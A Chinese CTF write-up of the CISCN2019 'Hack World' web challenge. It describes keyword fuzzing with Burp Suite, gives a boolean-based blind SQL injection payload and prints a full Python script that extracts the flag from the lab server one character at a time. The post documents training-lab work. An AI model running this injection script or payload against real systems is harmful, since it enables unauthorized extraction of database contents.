当前位置: 首页 > article >正文

7.[CISCN2019 华北赛区 Day2 Web1]Hack World

进入题目页面如下

有注入点,尝试SQL注入

判断是整数型注入还是字符型注入

尝试了一些恶意SQL语句但都无果,看来严格过滤了很多关键字

用burp suite爆破,看看过滤了哪些关键字

导入Fuzz字典开始测试

看到过滤了很多

这里便没有思路了,看来大佬的wp跟着做下去,链接附上

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解-CSDN博客

大佬说

(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,通过这个可以将flag中的字符一个一个拆解出来

用python编写盲注脚本

大佬写的脚本

import time
import requests

url = "http://27438b35-6ed7-412e-92bf-fa0ced32ecde.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
    for j in range(32, 128):
        # time.sleep(0.1)
        payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
        response = requests.post(url=url, data={'id': payload.format(m=i, n=j)})
        if response.text.find('girl') == -1:
            result += chr(j)
            print(j)
            break
    print("正在注出flag:", result)
print("flag的值为:", result)

跑个脚本最终得到flag


http://www.kler.cn/a/535187.html

相关文章:

  • 机器学习模型--线性回归、逻辑回归、分类
  • PCA9685舵机控制板使用
  • 问卷数据分析|SPSS之分类变量描述性统计
  • LabVIEW2025中文版软件安装包、工具包、安装教程下载
  • NacosRce到docker逃逸实战
  • Google C++ Style / 谷歌C++开源风格
  • JDK(LTS版本)更新时间
  • 鹧鸪云无人机光伏运维解决方案
  • 八大排序算法细讲
  • 基于ansible部署elk集群
  • C语言常见概念
  • @emotion/styled / styled-components创建带有样式的 React 组件
  • 1-R语言概述
  • 面经-C语言——堆和栈的区别,引用和指针区别,Linux的常用指令,RS232和RS485,TCP连接建立与断开
  • 【React】路由处理的常见坑与解决方法,React Router 的动态路由与懒加载问题
  • redis 运维指南
  • 2、ansible的脚本
  • 树的基本概念,并查集复习(学习记录)
  • Unity3D仿星露谷物语开发小结1
  • 乒乓日常烧拍日记之五在吐槽中找缺陷
  • deepseek API 调用-golang
  • Continue 与 CodeGPT 插件 的对比分析
  • 22、Java 函数式编程:开启高效编程新境界
  • 【csp/信奥赛C++语法学习如何入门?】
  • 关于视频字幕
  • 如何用GISBox将高斯泼溅文件(PLY/Splat)转换为3DTiles?全流程解析